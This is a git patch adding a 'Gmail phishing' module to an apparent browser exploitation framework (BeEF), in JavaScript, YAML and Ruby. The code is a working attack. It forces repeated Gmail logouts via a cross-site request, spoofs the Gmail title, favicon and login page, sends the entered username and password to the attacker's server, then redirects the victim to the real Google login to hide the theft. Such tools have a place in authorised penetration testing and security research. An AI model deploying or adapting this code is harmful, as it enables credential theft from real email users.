From 475cc4e40d5bb3d1a6e21548847ca5c119838026 Mon Sep 17 00:00:00 2001 From: floyd Date: Wed, 6 Jun 2012 18:49:17 +0100 Subject: [PATCH] Added Gmail phishing module --- .../gmail_phishing/command.js | 48 ++++++++++++++++++ .../gmail_phishing/config.yaml | 25 ++++++++++ .../gmail_phishing/module.rb | 50 +++++++++++++++++++ 3 files changed, 123 insertions(+) create mode 100644 modules/social_engineering/gmail_phishing/command.js create mode 100644 modules/social_engineering/gmail_phishing/config.yaml create mode 100644 modules/social_engineering/gmail_phishing/module.rb diff --git a/modules/social_engineering/gmail_phishing/command.js b/modules/social_engineering/gmail_phishing/command.js new file mode 100644 index 000000000..0ab5166e8 --- /dev/null +++ b/modules/social_engineering/gmail_phishing/command.js @@ -0,0 +1,48 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +function logoutGoogle() { + var img = document.createElement("IMG"); + img.src = "https://mail.google.com/mail/?logout"; + document.body.appendChild(img); + //set a new setTimeout to redo the logout + setTimeout('logoutGoogle()', <%= @logout_gmail_interval %>); +} + +beef.execute(function() { + document.title = "Google Mail: Email from Google"; + beef.browser.changeFavicon("https://mail.google.com/favicon.ico"); + logoutGoogle(); + displayPhishingSite(); +}); + +function clickedSubmitButton(){ + var credentials = "Username: "+document.getElementById('Email').value+" Password: "+document.getElementById('Passwd').value; + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+credentials); + //Timeout needed because otherwise the beef panel doesn't get the credentials in time + setTimeout("redirect()", <%= @wait_seconds_before_redirect %>); +} +function redirect(){ + var theXssUrl = "<%== @xss_hook_url %>"; + if(theXssUrl){ + window.open(theXssUrl); + window.focus(); + } + window.location = "https://accounts.google.com/ServiceLoginAuth"; +} + +function displayPhishingSite(){ + document.body.innerHTML = " Google Mail: Email from Google

Google Mail

A Google approach to email.

Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Google Mail has:

  • Lots of space

    Over 2757.272164 megabytes (and counting) of free storage.

  • Less spam

    Keep unwanted messages out of your inbox.

  • Mobile access

    Get Google Mail on your mobile phone. Learn more

Take Google Mail to work with Google Apps for Business

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

"; +} diff --git a/modules/social_engineering/gmail_phishing/config.yaml b/modules/social_engineering/gmail_phishing/config.yaml new file mode 100644 index 000000000..5b9d80039 --- /dev/null +++ b/modules/social_engineering/gmail_phishing/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + gmail_phishing: + enable: true + category: ["Social Engineering"] + name: "Google Phishing" + description: "This plugin uses an image tag to XSRF the logout button of Gmail. continuously the user is logged out of Gmail (eg. if he is logged in in another tab). Additionally it will show the Google favicon and a Gmail phishing page (altough the URL is NOT the Gmail URL)." + authors: ["floyd @floyd_ch floyd.ch"] + target: + user_notify: ['ALL'] diff --git a/modules/social_engineering/gmail_phishing/module.rb b/modules/social_engineering/gmail_phishing/module.rb new file mode 100644 index 000000000..80f419ceb --- /dev/null +++ b/modules/social_engineering/gmail_phishing/module.rb @@ -0,0 +1,50 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Gmail_phishing < BeEF::Core::Command + + def self.options + configuration = BeEF::Core::Configuration.instance + + xss_hook_url = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/basic.html" + logout_gmail_interval = 10000 + wait_seconds_before_redirect = 1000 + return [ + {'name' => 'xss_hook_url', + 'description' => 'The URI including the XSS to hook a browser. If the XSS is not exploitable via an URI, simply leave this field empty, but this means you will loose the hooked browser after executing this module.', + 'ui_label' => 'XSS hook URI', + 'value' => xss_hook_url, + 'width' => '300px' }, { + 'name' => 'logout_gmail_interval', + 'description' => 'The victim is continuously loged out of Gmail. This is the interval in ms.', + 'ui_label' => 'Ms Gmail logout interval', + 'value' => logout_gmail_interval, + 'width' => '100px' }, { + 'name' => 'wait_seconds_before_redirect', + 'description' => 'When the user submits his credentials on the phishing page, we have to wait (in ms) before we redirect to the real Gmail page, so that BeeF gets the credentials in time.', + 'ui_label' => 'Ms before redirecting', + 'value' => wait_seconds_before_redirect, + 'width' => '100px' } + ] + end + + def post_execute + content = {} + content['Result'] = @datastore['result'] + save content + + end + +end